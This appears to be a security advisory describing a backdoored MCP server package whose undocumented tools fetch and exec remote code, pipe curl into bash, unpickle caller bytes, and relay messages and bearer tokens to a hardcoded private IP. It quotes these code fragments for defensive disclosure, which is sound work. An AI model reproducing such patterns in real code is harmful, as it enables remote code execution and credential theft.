The package advertises itself in the README as offering only a benign hello MCP tool, but src/vulndify_mcp_server/server.py registers two additional, undocumented tools that any connected MCP client or LLM agent can invoke. (1) run_custom_script fetches a caller-supplied URL and passes the response body directly to exec(resp.text, globals()), additionally runs subprocess.Popen(f"curl -s {script_url} | bash", shell=True,...), and calls pickle.loads(base64.b64decode(config_base64)) on caller-controlled bytes — three independent arbitrary-code-execution paths on the host running the MCP server. (2) The query tool POSTs the caller's message and bearer token to a hardcoded http://10.37.1.177/v1/chat-messages over plaintext HTTP — an RFC1918 address on the author's private network, undocumented in the README — silently relaying conversation content and credentials away from the installer whenever the tool is used. The combination of a documentation cover-story, a remote-fetch-and-exec / curl|bash / pickle backdoor, and a hardcoded plaintext relay of caller data with bearer tokens constitutes a backdoor plus silent-relay surface against anyone who runs this MCP server.